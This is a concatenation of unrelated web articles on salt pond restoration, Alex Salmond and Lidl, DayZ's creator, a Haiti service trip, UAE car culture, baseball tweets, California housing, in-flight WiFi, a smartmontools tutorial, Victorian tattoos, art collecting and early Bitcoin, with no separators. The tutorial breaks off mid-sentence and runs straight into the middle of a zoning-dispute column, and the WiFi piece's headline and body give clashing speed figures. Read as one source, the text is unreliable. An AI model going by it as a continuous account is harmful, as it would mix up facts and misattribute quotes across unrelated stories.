Thursday’s research was unveiled at a gathering of dozens of scientists and policy makers at the South Bay Salt Pond Restoration Project’s Science Symposium at the Computer History Museum in Mountain View.
“We’re thrilled with the progress,” said biologist John Bourgeois, executive project manager for the salt pond restoration effort. “The wildlife and habitat is responding faster than we anticipated.”
Significant challenges still remain, however.
The first issue is money: It will cost an estimated $1 billion to finish the job over the next 40 years. Environmentalists and business groups are planning to put a $12 annual parcel tax on the June ballots in all nine counties that ring the bay. The measure, which will require an overall two-thirds majority to pass, would raise $500 million toward wetlands restoration and flood control in the bay over the next 20 years.
Second, replacing the open water ponds with tidal marshes similar to pre-Gold Rush conditions benefits species that live in or around marshes, like fish, egrets, herons, harbor seals and leopard sharks. But the species that like the open water, such as mallards, pintails, canvasbacks and other ducks, as well as shorebirds like stilts, avocets and sandpipers, will have less habitat.
The way to address that issue, wildlife biologist De La Cruz said, is to try to make those ponds more hospitable so that as most of them are restored to tidal marsh over the years, the same numbers of birds can still flourish. What scientists are learning now — through changing water levels, building islands and other techniques — can help inform future projects, she said.
Finally, other challenges remain. Mercury from long-ago mining has built up in the mud across the bay and can’t all be released at once. Some wetland areas can’t be restored until more flood control levees are built between them and communities.
Meanwhile, in a related project not on former Cargill lands, crews on Sunday plan to breach levees in the North Bay, restoring nearly 1,000 acres near Sears Point back to wetlands.
That project will come a week after more than 100 scientists released a landmark report saying that such restorations need to accelerate in the next 15 years to help reduce the risk of flooding to highways, roads and homes as sea levels continue to rise because of climate change.
Paul Rogers covers resources and environmental issues. Contact him at 408-920-5045. Follow him at Twitter.com/PaulRogersSJMNGet the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
ALEX Salmond opened a supermarket for the first time yesterday – to snub retail giants Asda for failing to back Scottish independence.
The First Minister met shoppers and staff at a Lidl store in Rutherglen, near Glasgow. He agreed to open the shop after Asda chief executive Andy Clarke claimed prices would soar in an independent Scotland.
Salmond said: “This is my first supermarket opening. There were a number of reasons to open the store – staff have raised cash for good causes, I’m impressed by the new store and because Lidl isn’t Asda.
(Image: Alasdair Macleod/Daily Record)
“Scotland is an attractive place for companies from all over the globe. Lidl invest millions of pounds each year supporting thousands of jobs and it is a great pleasure to officially open the store.”Dean Hall, the creator of DayZ, has said that he will be leaving Bohemia Interactive and stepping down as the leader of DayZ. He revealed to Eurogamer that he intends to step down by the end of the year, with development of the game being left in the hands of the current team. DayZ is currently in alpha and Hall has stated that the game should enter beta by the end of the year, meaning DayZ should be nearly completed by the time he walks away from the project that he created.
“I am a grenade,” he explained to Eurogamer. “I have a specific use. I’m really good at risk-taking and making other people take risks, I’ve always been good at that in my life. Like you say, maybe I’ve got the gift of the gab, so I can talk, I can explain something, I can talk people up to the ledge and get them to jump off it.
“That’s what I did with DayZ; I’ve done it twice now [once with the mod, again with the standalone] – two new code teams have separately done it.”
However Dean Hall doesn’t feel that he is the right person to lead DayZ heading into the future, believing that he will be a hindrance to the project in a leadership role.
“But eventually, that’s the bad person to have, “Eventually, you don’t want the guy telling you to go over the top and get through. So at some point I’ll be a disaster for the project, at least in a leadership role.”
The plan for Dean Hall was never to be where he is now and stated that he originally wasn’t going to do this year. He had taken a break from the New Zealand Army which was originally planned to last just a few months but has instead found himself on a break for years, not months.
“And also, I never intended to be here. Originally I wasn’t going to do this year, but it would be stupid not to, and it would be unfair to the community. I have to be on the project as long as it’s important to. Whether that role is as the leader, whether that role is in a more creative sense… But at a certain point there will be diminishing returns.”
However the future of DayZ isn’t all doom and gloom, with Hall making sure he leaves the project in the best possible shape and he says he won’t leave at a crucial time in development. He will stay on as long as possible to ensure it, there’s flexibility as to when he will step down. No date has been set in stone, stating, “I would extend my involvement here as long as Bohemia wanted – needed – me.”
Once the time comes when Dean Hall does leave Bohemia Interactive’s studio in Prague, he intends to head home to his native New Zealand. There he will set up his own studio as he chases that perfect multiplayer experience. He already has several ideas written already.
“A lot of them have similar DNA [to DayZ],” he said, especially as he is particularly interested in multiplayer and survival games.
“I feel like DayZ is a fundamentally flawed concept,” he went on, “and I’ve always recognised that. It’s not the perfect game; it’s not the multiplayer experience, and it never can be, [with] the absolute spark that I want in it.”
Is there any chance that Hall could change his mind and stick with DayZ, or is his mind already set?
“Oh, it’s set. Definitely,”
Source: *EurogamerThe Dark Clouds are Minnesota United FC’s oldest and largest independent supporters group. Our mission includes a commitment to volunteering and service work, which is carried out by our Silver Lining organization. The Silver Lining motto is ‘Every Dark Cloud Has A Silver Lining.’
In January, six Dark Clouds members traveled to Haiti for a week-long Silver Lining service trip to conduct on the ground service with The Sanneh Foundation’s Haitian Initiative. They departed January 15th and returned on January 22nd.
The Haitian Initiative is an effort of The Sanneh Foundation, which was founded by former US National Team soccer player and Minnesota native, Tony Sanneh. After traveling to Haiti in 2010, Sanneh founded the Haitian Initiative to “to empower children, improve lives and unite communities. And to develop sustainable programs and use soccer as a catalyst to combat the cycle of poverty.”
Our Silver Lining volunteers left MSP airport on January 15th with 766 lbs of soccer gear. Some items were gently-used gear donated through the Sannah Foundations Kick Back Program, and a significant portion were brand new Adidas gear donated by FIFA Football for Hope.
After arriving in Haiti, volunteers stayed at ‘Nicole’s Place,’ a guesthouse provided by the Nicole Megaloudis Foundation (operated by the Sanneh Foundation) and traveled each day to Cité Soleil to perform service. Cité Soleil is an area of Port-au-Prince which the Haitian Initiative says “is generally regarded as the poorest and most dangerous area in the Western Hemisphere.”
Dark Clouds Silver Lining coordinator Rich Harrison: “Nicole’s Place was a totally safe oasis and refuge from the city where we could recharge our mental and physical batteries. The food and staff were amazing!”
Monday through Friday, Dark Clouds volunteers spent the afternoon providing a meal fortified with vitamins and protein to children, giving soccer gear to the children, helping the local Haitian coaches teach the sport, and teaching English as a second language.
Dark Clouds Silver Lining coordinator Rich Harrison: “The kids of Cité Soleil were so welcoming, affectionate and loving. My heart melted many, many times while in Haiti.”
“Giving away soccer shoes was amazing, measuring little feet, finding the right pair of shoes, having them put the shoes on for the first time and watching their excitement build!”
“Teaching English was the best part of the service for me. The kids in Cité Soleil are so interested in learning! I found this activity was a good fit for me as I was good at getting the kids to focus. Their teacher, Joshua, was happy for me to return after my first lesson. It was a very powerful experience because I was helping teach a skill that these children could use to pull themselves out of poverty and better their lives.”
Mornings were spent learning about Haiti during excursions, including one to the Haitian National Museum where volunteers learned the history of the island nation. A local guide took volunteers through the museum, answering questions and teaching on Christopher Columbus’s visit to the island, the French occupation and slavery, the revolution and independence, and more.
Minneapolis-based Brave New Media has chronicled the service trip in a group of videos that are now being released on the Dark Clouds Silver Lining YouTube channel. New videos will be posted in the weeks following the trip and can be accessed at https://www.youtube.com/watch?v=Lh41uqMf5ZY.
For more information about the Dark Clouds Silver Lining service trip to Haiti or to get in touch with the travelers, please contact Rich Harrison at ‘silverlining (at) dark-clouds.com.’Next Chapter >
I’ve always known that the people from the United Arab Emirates were crazy about cars, but until my recent visit I never fully understood why. Of course people like you and I think car culture is cool and driving a car is the most fun you can have with your clothes on, but for local Dubai and Abu Dhabi car enthusiasts it goes much deeper than that. As my friend Mohammed explained to me, throughout history the entire Middle Eastern region has always relied on transportation in one form or another as a way of life. If you don’t have a way to move from water source to water source in the desert safely, then you die. Whether it be camels, horses or cars, the people of the UAE just absolutely adore them.
Ever since Formula Drift performed a demo in Abu Dhabi back in 2010 I’ve wanted to check out what the tuner and car culture scene was really like. Out of all the places I have ever visited, the UAE has to be the most modern (Japan included). Everything is a short drive away, and even though it is a relatively small place the car enthusiast community is absolutely huge.
This was my greeting party at the airport. It begs the question of why Dmac was in his driving suit? Well, he was at the track all day testing cars and he didn’t have time to change. Doesn’t everyone wear race suits in airports?
I was incredibly jet-lagged and after traveling for 20 hours straight I was not sure if I could stand up, but the sound of a 941-horsepower Nissan GT-R had its way and woke me up. The guys at Sub Zero Motorsports had my undivided attention.
As soon as the GT-R was done on the dyno, an S13 drift car pulled up in its place. It was being tuned for Darren McNamara, as he was scheduled to drive it later in the week. I looked at my phone and noticed that it was 1:30am local time. I guess there really is no better time to dyno a car than in the middle of the night. After they buttoned up the car it made 450 wheel-horsepower – plenty to get it sideways.
Instead of going to the hotel, we went to another shop. We pulled up and there were a bunch of locals outside working on some GT-Rs. I was beginning to see a trend here.
There were 17 GT-Rs in this single shop. This one in particular was built from a bare chassis and was painted Lamborghini lime green. It will be making 750hp to the wheels with ease.
This shop had a dyno too, and they were working on an Evo as we walked in. It made a pull at 475whp. At this point I was delirious, but I was thoroughly enjoying my first few hours in the Middle East. And it was 2:30am. These guys work around the clock on customer GT-Rs. Can you believe how busy this shop was?
Just when I thought I had seen it all, they lowered this beast for me to get a closer look. This was an all carbon-fiber GT-R. They got the heavy monster down to 3200lbs (1441kg), and with the help of over 1000 wheel-horsepower they are hoping to take the title of fastest street GT-R in the world. It will take a while, but with the help of the guys at AMS Performance I think they will be able to break that record.
After a 12-hour sleep I was at another shop. My time in the UAE was very limited, so I really wanted to soak up as much car culture as possible. This was the One Thousand Dunes Garage, and if you have not already noticed they specialize in the Mitsubishi Evo.
From the outside, it looked like any other repair shop…
…but on the inside they had some serious treasures, like this EVO 5 RS. It is the only one in the Middle East, and the reason why no one wanted it was because it did not come with air conditioning. I quickly learned that every single car in the UAE has air conditioning, no matter what. It is just way too hot to drive anywhere without it. They fixed it up and installed A/C, and now it’s ready for street use.
They build Evos from the ground up, and they have had over 450 of these beauties through this fairly new shop – so they are always busy.
This was their dedicated engine room, because customers seem to drive their cars very hard and go through many engines.
This piston out of a customer Subaru had a very bad day.
One of the shop’s project cars was this BMW E30 drift car with an Evo 8 motor and a Subaru Impreza STI transmission. I can’t wait for this thing to tear up some tires.
Almost done with day one, and we had two more shops to go. We did not even walk inside, but I was stopped by this amazingly clean Jaguar E-Type.
The interior was just as clean as the exterior. The floor mats still had their factory plastic protective sheet on them. If I didn’t know any better, I would have thought this belonged to my father. He always left the TV remote in its original plastic wrapper.
Just as I was picking up my jaw from the amazing E-type, a pristine Sting Ray Corvette casually drove by.
I saw a trend. They just love American cars for some reason. Even the Rainbow Sheikh had a healthy obsession over American Muscle.
If I didn’t know any better this could have easily been a scene out of East Los Angeles. Except, I don’t have to worry about wearing red or blue.
Our last shop visit of the day was at an undisclosed warehouse-type location. They had some of the cleanest builds I have ever seen.
I always have a soft spot for orange cars and this one was no exception. I just love the simple things on this Street-class Time Attack car. This car holds the Street-class record at the Yas Marina F1 circuit. As soon as Time Attack season rolls around, this car will smash its old record thanks to all the massive improvements.
On their desk, I found a photo book of some sort. I’ve seen it somewhere before, but I can’t quite put my finger on it.
This shop specializes in the top one percent of the tuner and race-cars in Dubai. If you wan’t something done right, you come here.
This Cobra was normal fare in their warehouse of customer cars, and unfortunately I could not show you guys more of what else they had due to customer confidentiality.
They even had old SEAT race cars just waiting to get a full restoration. Maybe later on, once more of their speciality cars get restored, I can pay another visit and grab some interesting car features.
That night, we made the one hour trek from Dubai to the Yas Marina circuit in Abu Dhabi. When we got there, the air was filled with the sound of drift cars warming up. It was going to be a great night.
I’ve been to many racing facilities, but Yas Marina has got to be the cleanest and most professional. Everything was spotless. Good luck trying to find chewing gum on the floor.
In the driver briefing room was Darren McNamara and a few local drivers. Their assignment for the night was to perform a drift demonstration for some VIPs of the Yas Marina Circuit. Oh, the nightmare of being a drifter.
One of the local drivers brought out a Z32 drift car. I initially didn’t think anything of it, but I grew fond of it as the week went on.
Just like in North America, the V8 craze in the drifting scene is in full swing in the UAE.
Like a bull charging for a red sheet, the Z-Car was ready to be unleashed.
I think Fredric Aasbø can relate to these guys, because they drift in a way that allows them to hold down full throttle as long as they possibly can. No clipping points, no crazy initiations, just full throttle most of the run.
I noticed this BMW 1M on the grid – I figured the guy had got lost or something, and maybe he decided it was a good idea to park on pit-lane.
Well, he pulled out onto the track. I thought he was maybe doing a grip demo or something.
But the guy pitched it fully sideways into the first corner like a boss.
I’ve never seen these cars drift before, and even though it was mostly standard I think it did quite well.
I really have to give kudos to the owner for actually using his car.
He barely left enough rubber to get home, but it was all for the show.
Eventually Dmac was getting antsy to get his drift on, so he brought out the freshly dyno-ed S13. It ran like a top.
Up next was this Ford GT that took me for a ride in my Dream Drive post.
I expected him to go out to do some circle burners, but nothing too fancy.
This supercar got pitched sideways with ease, although I could tell it was quite difficult to transition in it. The driver gets an A for effort.
The next day, the same exact crew gathered in the parking lot of a huge mall to put on another demo for the folks at Mountain Dew.
It was the unveiling of the Dew Crew, which is an extreme sport team that includes a Mountain Dew drift squad. One of the drivers, Ahmed Alamri, belongs to the Emirates Drifting Team.
He is from Abu Dhabi, but he studied in Japan for six years, which is where he learned to drift.
He has built a ZN6 similar to Fredric Aasbo’s 86-X. This one is also powered by a 2JZ but it retains more of the stock parts, including the electric steering pump.
It will be interesting to see this at Round 2 of the UAE Drift Championships. Stay tuned for a full feature.
I don’t know about these guys, but I was enjoying all that tire smoke. It is still the off-season for drifting and I needed my fix.
You just gotta love a car that throws sonic booms. Just look at it! It was like a vortex of fire and awesome.
My last day in the Middle East was packed with fun new adventures. First up was used-car window shopping. There were thousands upon thousands of used cars for sale concentrated in one area on the outskirts of Dubai.
We found all sorts of cars, from supercars to everyday cars, plus sportscars directly imported from America like these…
…and many that were directly imported from Japan, like this Chaser.
What really impressed me was the selection of older cars. This 1971 Datsun 240z was in near mint condition, with no rust what-so-ever, and it was selling for about $7,000 USD. My mind was blown. I could never dream of finding a car like this in North America for that price.
I could have seriously looked around all day, but it was time to head to the sand dunes for some off-roading fun.
We parked on the side of the road, and as soon as traffic died down we headed out into the desert.
This was my first time on the dunes, and I was amazed at the vastness of it. It was crazy that this was just a few miles outside of the city.
We hopped into a Toyota Tundra with a madman behind the wheel and drove deeper and deeper into the dunes.
Owner of Drift UAE, Mohammad Alfalasi, was taking us to his super-secret spot to meet up with some friends.
On the way there we found a jump, so I hopped out and watched him take flight.
It was somewhat of a hard landing, but I think the truck fared pretty well considering its size.
We met up with his friend who had a compound literally in the middle of nowhere.
Inside the little huts were lavishly appointed rooms.
Darren was forced to clean up a bit before we were allowed to ride in the dune buggy.
Enter the crazy twin turbo LS2-powered sand buggy.
This thing puts out 800 wheel-horsepower, and my neck can vouch that it really moves out.
I opted for some face protection, as I did not want it to get sandblasted off just yet.
It was kind of like playing in a kid’s giant sandbox.
Because of the paddle tires it was honestly the most intense acceleration that I have ever felt. I could not believe how much traction this thing had.
But the best part was how it felt when you were cruising along on the dunes. The suspension was so soft that it felt like I was riding in a boat.
We climbed this massive hill, and down below was this tiny little Toyota Rav4 that was trying to tackle those big dunes. Poor little guy.
The sun was disappearing over the horizon, so we decided to head back as I had a plane to catch.
On the way back we came across some guys who got stuck with their Rhino.
We picked it up and pulled it out of the sand. Go team!
On the way to the airport we stopped by a massive parking-lot place that was used as a giant skid pad.
Darren was instructing some of the locals, as they were just learning how to drift.
One of them happened to be a 10-year-old boy. The boy’s father liked Darren so much that he wanted to give Darren a ride that he would never forget…
…but it would be in his Nissan Patrol burnout car.
This skid pad is used for burnout competitions, but the interesting thing is it actually requires skill.
Some of the manoeuvres that you have to perform include doing a bunch of 360-degree spins into a little parking spot, or doing huge donuts around the entire skid pad. The only thing they can’t really do is transition a turn.
Now I understood why the local drifters liked to lay on the throttle all the time. It’s because many of the drifters come from this type of background. It is super fun, but it was a bit repetitive.
As if the Toyota Tundra did not get enough of a beating, Mohammad thought it would be a great idea to get all the sand out of the car by drifting it.
It had a little bit of body roll, but overall I think it fared pretty well.
The last stop for me was a flat-bread place so I could have something to chew on while I waited for my flight. The guy who made the bread for me was wearing a Yas Marina Circuit shirt.
The thing I admired the most about the locals was their passion for car culture and motorsports. Whether it be off-roading or powerful drag cars, they all had one thing in common: they love to push the limits of the cars. They don’t just sit there to look pretty.
There is just so much more to uncover, but in my short trip I could only do so much. Maybe next time I can get the scoop on the crazy 2500-horsepower sand drag cars I was told about…
Larry Chen
larry@dev.speedhunters.com
Instagram: larry_chen_foto
More stories from Larry Chen on SpeedhuntersThe wind has picked up on this Friday afternoon. Spring’s arrival is maybe not so imminent as we thought. Bitter cold is on its way.
Sounds like a perfect situation for us to warm up with some goddamn hot fire tweets, and here comes Kevin Pillar to the rescue!
First, though, meet Bill. He’s, according to his Twitter bio, the editor of the sports section of the Cambridge Times — as in Cambridge, Ontario, outside of Kitchener-Waterloo. He is also, according to the giant picture of Red Sox championship rings he uses as his background photo, a Red Sox fan.
Hey, man. Whatever. That’s cool. You be you.
What Bill is certainly not is a Kevin Pillar fan. Or maybe he likes Kevin just fine, in the overall, but there is one aspect of Pillar’s game that Bill definitely doesn’t like: his dives. And he’s not afraid to say it, either!
Let’s watch what happens…
Canada's Dalton Pompey tested the metric with a diving grab in #WBC2017 play. Just how impressive was it? https://t.co/ZCVOO2dC0u #Statcast pic.twitter.com/sBifjNY1yx — #Statcast (@statcast) March 10, 2017
I don't understand. Was that 86% of center fielders make that catch? or 86% don't? https://t.co/EEbUTyJU0a — Blue Jays from Away (@JaysFromAway) March 10, 2017
Half of Pillar's dives are unwarranted — Bill Doucet (@Bill_Doucet) March 10, 2017
Fascinating statistic. Please show me the source. https://t.co/mkTbL6R5Ze — John Lott (@LottOnBaseball) March 10, 2017
visual — Bill Doucet (@Bill_Doucet) March 10, 2017
Ah cool, that checks out. Carry on. — Tyler Campbell (@tyleracampbell) March 10, 2017
see. Verified — Bill Doucet (@Bill_Doucet) March 10, 2017
Note: Bill sometimes doesn’t get sarcasm. Perhaps I should have mentioned that earlier.
So you “see" Pillar unnecessarily & deliberately beating up his body and risking hurting his team on 50% of his dives? Quite the insight. https://t.co/wjfCFKzUPy — John Lott (@LottOnBaseball) March 10, 2017
I'm sure in his mind he thinks he needs to, but he has speed and seems to get a good jump on the ball. — Bill Doucet (@Bill_Doucet) March 10, 2017
Aaaaand the payoff…
I'm sure bill was a really good outfielder in his day 😉 https://t.co/b5aDDluEZx — Kevin Pillar (@KPILLAR4) March 10, 2017
ZANG! SNORT! OOF! KA-BLAMMO! Roasted!
Hey, so I guess this one was one of the other 50%, eh Bill?
Let’s maybe leave the Zaun-esque takes where they belong: at Hemingways.The extreme cost of housing in urban and suburban California isn’t just another problem in a state with plenty of them. Instead, it needs to be seen as a crisis, one that creates misery across the Golden State, with many middle-class and low-income households routinely spending more than half their income on housing, making it impossible to save for retirement, help children with college bills and much more.
Consider the concept of home ownership, long considered part of the American dream. The Apartment List website recently released a survey of more than 30,000 renters. “Millennial” renters — those under 35 years of age — are staggered by the cost of homes in California. Among those surveyed in San Diego, 89 percent see home ownership as unrealistic. In Los Angeles, 83 percent share that view; in San Francisco, 81 percent.
The survey becomes even more grim upon a closer inspection. In years needed for millennials to save enough for a down payment, California cities — San Francisco, Sacramento, Los Angeles and San Diego — were the four worst in the nation.
This is not a problem that can be addressed with feel-good fig-leaf solutions — like funding affordable-housing programs that deliver relief, lottery-style, to tiny fractions of the hurting. Instead, it needs broad, basic, far-reaching solutions. This idea has yet to take hold in the state Capitol — or in San Diego City Hall. But in the region that is at the epicenter of California’s housing crisis — the Bay Area — it is finally having its moment, as chronicled in a April 17 analysis in The New York Times.
It details the efforts of the 2-year-old SF Bay Area Renters’ Federation to get San Francisco and its suburbs to acknowledge that more housing stock is the only way to broadly bring down housing costs — starting with rent that averages $3,770 a month. “You have to support building, even when it’s a type of building you hate,” founder Sonja Trauss told the Times. “Is it ugly? Get over yourself. Is it low-income housing? Get over yourself. Is it luxury housing? Get over yourself. We really need everything right now.” What are her policy prescriptions? She’s on the same page as New York Mayor Bill de Blasio, seeking changes in zoning regulations and environmental rules that make it so costly and onerous for developers to pursue housing projects.
These are the same obstacles blocking housing relief in San Diego County. A 2015 study by Point Loma Nazarene University found that complying with regulations amounts to about 40 percent of the cost of housing in all price ranges here. Based on a weighted average of sales and rentals, the hit ranged from $125,000 in Santee to $282,000 in Carlsbad.
Trauss and di Blasio may get nowhere. But at least they make a forceful point: We can make different choices. We don’t have to accept being a state in which housing costs yield endless misery — unless you’re lucky enough to 1) have a mortgage from the pre-bubble era or 2) be well-paid and have a well-paid spouse. And we don’t have to be a state in which the American dream for poor people is brutally downsized to this: avoiding homelessness.HOW surfing the web at 35,000 feet is eight times faster than Britain's broadband.
GETTY ONBOARD: We test airline WiFi with shocking results
Escaping the internet used to be easy. Hopping on a long haul flight mean't you could forget about your emails, tweets and updating your Facebook profile. But times are changing. With new state-of-the-art jets being fitted with WiFi, passengers can now access the web at 35,000 feet. Daily Star Online recently took a flight across the atlantic and, with our laptop powered up, decided to put this in-flight internet to the test. The results shocked us.
DAILY STAR ONLINE TESTED: Our average speed was around 8Mbps during the flight
DAILY STAR ONLINE SPEED: How long it takes to download content with different speeds
Our flight, onboard one of Boeing's new Dreamliners, took us from from San Francisco to London and our expectations of WiFi in the sky were pretty low. But having logged in, we found ourselves able to hit the web at decent speeds with the signal staying strong for most of the 5,300 mile journey. To see just how good the WiFi was we performed a number of speed tests throughout the flight. Amazingly, we rarely dipped below 7Mbps which is almost four times faster than many UK residents get from fixed broadband at home. HOW MUCH IS IN-FLIGHT WiFi? Many airlines including Virgin Atlantic, Emirates and Etihad offer WiFi in the sky. British Airways is also trialling the service on some of its long haul jets. Prices start from around £14 for 24 hours.
DAILY STAR ONLINE HIGH FLYER: You can now get online at 35,000 feetIf there is something that you never want to happen on your Linux system, that is having hard drives die on you without any warning. Backups and storage technologies such as RAID can get you back on your feet in no time, but the cost associated with a sudden loss of a hardware device can take a considerable toll on your budget, especially if you haven't planned ahead of time what to do in such circumstances.
To avoid running into this kind of setbacks, you can try smartmontools which is a software package that manages and monitors storage hardware by using Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T. or just SMART). Most modern ATA/SATA, SCSI/SAS, and solid-state hard disks nowadays come with the SMART system built-in. The purpose of SMART is to monitor the reliability of the hard drive, to predict drive failures, and to carry out different types of drive self-tests. The smartmontools consists of two utility programs called smartctl and smartd. Together, they will provide advanced warnings of disk degradation and failure on Linux platforms.
This tutorial will provide installation and configuration guide for smartmontools on Linux.
Installing Smartmontools
Installation of smartmontools is straightforward as it available in base repositories of most Linux distros.
Debian and derivatives:
# aptitude install smartmontools
Red Hat-based distributions:
# yum install smartmontools
Checking Hard Drive Health with Smartctl
First off, list the hard drives connected to your system with the following command:
# ls -l /dev | grep -E'sd|hd'
The output should be similar to:
where sdx indicate device names assigned to the hard drives installed on your machine.
To display information about a particular hard disk (e.g., device model, S/N, firmware version, size, ATA version/revision, availability and status of SMART capability), run smartctl with "--info" flag, and specify the hard drive's device name as follows.
In this example, we will choose /dev/sda.
# smartctl --info /dev/sda
Although the ATA version information may seem to go unnoticed at first, it is one of the most important factors when looking for a replacement part. Each ATA version is backward compatible with the previous versions. For example, older ATA-1 or ATA-2 devices work fine on ATA-6 and ATA- |
They all signed, records show, but the board still said no.
"All the people on the street that have been here the longest all said that it is a two-family," Wells said. "The zoning board said they don't care about the tax records. All Property Record Cards show that it was built as a two-family. It has maintained the two-family status for the last 50 years."
While the zoning board had no documents to prove it is not a two-family, it said the burden of proof was on the homeowner to prove that it was.
After three zoning meetings, Wells' requests were denied. The board voted down Wells' request.
NO PROGRESS
With so many borough employees involved, we reached out to Mayor Jack DeLorenzo to see if he could cut through the red tape and help this resident.
After leaving several phone messages and sending several emails, DeLorenzo replied.
"I'm sure you are aware the matter is under litigation," he said, promising to speak to the borough's attorney. "We all want this situation rectified."
More time passed, and we didn't hear anything, so we left more messages for the mayor.
Finally, the borough attorney said Wells had 45 days after the board's decision to appeal. Time would run out later this week, on Jan. 26.
"Until such time, the Borough stands on the decision of the Superior Court dated Aug. 29, 2016 and the decision of the Board of Adjustment," attorney Ralph Chandless Jr. said.
Wells feels she's left with no alternative but to sell her home as a one-family and lose money because the new owner couldn't legally rent out the upstairs apartment.
"They claim the borough's paperwork was burned in the fire, but no homeowners were ever notified of that fact," Wells said. "They can easily do this to the next person if they don't want someone to sell their home as a two-family."
"It's very unfair," she added. "I'm being penalized for something the borough should responsible for."
We don't get it, either. Come on, Hasbrouck Heights. What gives?
Have you been Bamboozled? Reach Karin Price Mueller at Bamboozled@NJAdvanceMedia.com. Follow her on Twitter @KPMueller. Find Bamboozled on Facebook. Mueller is also the founder of NJMoneyHelp.com. Stay informed and sign up for NJMoneyHelp.com's weekly e-newsletter.Victorian pictures always show stern-looking faces with people covering their bodies from head to toe in long clothes. But vintage images have revealed how some people living in 19th century Britain had a love of huge tattoos covering their entire chests and arms. And all of the pictures from the Victorian era show the inkings carried out by one of the first ever tattoo artists – Sutherland Macdonald.
h/t: vintag.es
Sutherland Macdonald was considered by many to be one of the greatest artists in the history of tattooing. It is said that his first exposure to tattooing was in the British Army in the 1880s. Already being an accomplished artist, Macdonald picked up the tattoo needles with ease. It was after getting out of the army that he started tattooing professionally. He worked first with hand tools, and in 1894 received a British patent for his electric tattooing machine. An 1897 Strand Magazine article written by Gambier Bolton stated, “that for shading or heavy work Macdonald still used Japanese tools, ivory handles and all”.
Sutherland Macdonald was at the forefront of the early 1900s tattoo fad, and probably did his share of cosmetic tinting. Because of his years as a tattooing sergeant-major in the Royal Engineers, George Burchett felt that Macdonald had an advantage over him in the competition to tattoo the “leisured people of taste”.In times like these, when wealthy people are at a loss as to where to safely put their money, persuasive voices are often raised: Invest in art. That's dangerous advice--and I know a little about the subject. My father was an artist and the headmaster of an art school. I was practically born in a studio and heard art discussed throughout my childhood. I have drawn and painted since the age of 3. Much of my life I've spent visiting art collections the world over, buying drawings and paintings and writing about art. But I think investing in art to make money is a fool's game. The art market--now enormous and global--is crowded with smooth-talking con men (and women) who make Wall Street fraudsters look like amateurs. Art values are determined by unpredictable trends that are rarely linked to quality. And who's the arbiter of quality anyway?
If you love works of art, read up on the subject and visit museums. Then buy because you want to possess certain objects and have them in your home to look at and enjoy. But don't collect in order to make money. You won't. And you'll have a painful, anxious time of it as well.
Great Collectors Come in All Types
Having said that, I must admit that there are a few instances in which successful businessmen have also proved outstanding art collectors. The best example is Henry Clay Frick (1849--1919), an exacting man of business who made his money in steel or, more precisely, coke. Frick knew more about coke than any other man of his time. He worked for Andrew Carnegie, the 19th century's most successful steel man (who eventually sold out for $250 million--at 1901 prices!). Frick ran Carnegie's main plant at Homestead, Pa.
In 1892 Frick fought and won one of the most violent, bitter labor conflicts in American history. Frick couldn't understand why his men were striking--their wages were good, and conditions at Homestead were as satisfactory as was possible in such a dangerous trade. He believed the workers had been intimidated by union organizers, so he hired 500 Pinkerton detectives to discover what was actually going on. But as the detectives were being towed upriver on barges to the plant, strikers opened fire on them.
The violence escalated to the point that Pennsylvania's governor sent in 8,000 militiamen to put an end to it. The dissolution of the strike--and of the union--at Homestead was both a short- and long-term victory for management. As Frick summed things up: "We had to teach our employees a lesson and we have taught them one they will never forget." No union man ever again entered a Carnegie plant.
Frick went on to become one of the world's richest men, conducting business with the likes of J.P. Morgan, John D. Rockefeller and Andrew Mellon. He also formed a superb art collection in his Manhattan home, leaving the mansion and the collection to New York City, along with an endowment of the then enormous sum of $15 million.
In my opinion the Frick Collection--which I try to visit every time I'm in New York--is the finest in quality ever assembled by one man. Virtually everything in the collection is a masterpiece, the best of its kind. In one room are the two best and most penetrating portraits Holbein ever painted--Sir Thomas More and Thomas Cromwell. The collection also includes two Turner landscapes that are among his finest work; a magnificent Constable landscape; Sir Thomas Lawrence's finest portrait of a woman, the beautiful wife of Prime Minister Sir Robert Peel; a superlative Vermeer; a Rembrandt self-portrait; and a wonderful "St. Francis in the Desert" by Bellini, greatest of the Venetian masters.
How did Frick do it? Was there any connection between his astute strategizing and ruthless tactics as a businessman and his unique success as a collector? Frick plainly loved art of the highest quality, for without that love such a collection could never have been put together. But whenever I visit the Frick, I find my mind wandering from the marvels on the walls to thoughts of the hard-headed titan in his office, dismissing union representatives with scorn and dictating cables to summon an army of Pinkerton men.
Perhaps the greatest collector of all was King Charles I of England, a physically small man not noted for his intelligence or learning. But the king, like Frick, had a wonderful eye for paintings of the highest caliber. Charles I's downfall--his ouster from the throne, loss of the ensuing civil war and subsequent execution in 1649--was the result of his obstinacy and unwillingness to admit he was ever in the wrong or to compromise. It's likely, however, that the obstinacy that made Charles I such a poor politician helped make him a collector of genius. He adamantly refused to accept anything that was not of the highest quality.
Many of the top Renaissance collectors, especially the de' Medicis, were as obstinate as Charles I and as ruthless as Frick, which is why Florence's great palaces--the Uffizi, the Pitti and the Bargello--house the finest concentration of first-class works of art on earth. Obstinacy and ruthlessness were also characteristics of Pope Julius II, under whom Michelangelo and Raphael flourished and who set his ineffaceable mark on the Vatican's vast collection.
All these people loved art and trained their minds to respect and cherish it for its own sake. Not one of them collected art to make money or because it was a safe investment. Unless you share this love of art, I would give it a pass when deciding where to place your money.
Paul Johnson, eminent British historian and author; Lee Kuan Yew, minister mentor of Singapore; and David Malpass, global economist, president of Encima Global LLC, rotate in writing this column. To see past Current Events columns, visit our Web site at www.forbes.com/currentevents.On nov. 1, 2008, in the teeth of the financial crisis, a person or people using the name Satoshi Nakamoto posted to a cryptography mailing list a proposal describing a virtual currency. The post was both an elegant piece of software engineering and a scathing indictment of the fiscal status quo. Bitcoin, as Nakamoto (whose identity remains unknown) called it, would be "completely decentralized, with no central server or trusted parties, because everything is based on crypto proof instead of trust." Governments couldn't debase it. Banks couldn't blow it. This was currency for a posttrust world.
Nakamoto minted the first 50 bitcoins in January 2009, and though it sounds like an Internet meme--LOLcash!--it's been gaining traction ever since. Bitcoin is the Napster of money: it's maintained by a globally distributed peer-to-peer network running on open-source software. A year ago a bitcoin was worth about $5; a month ago, $45. In early April, the price of one bitcoin topped $200, making the 11 million bitcoins in circulation momentarily worth well over $2 billion.
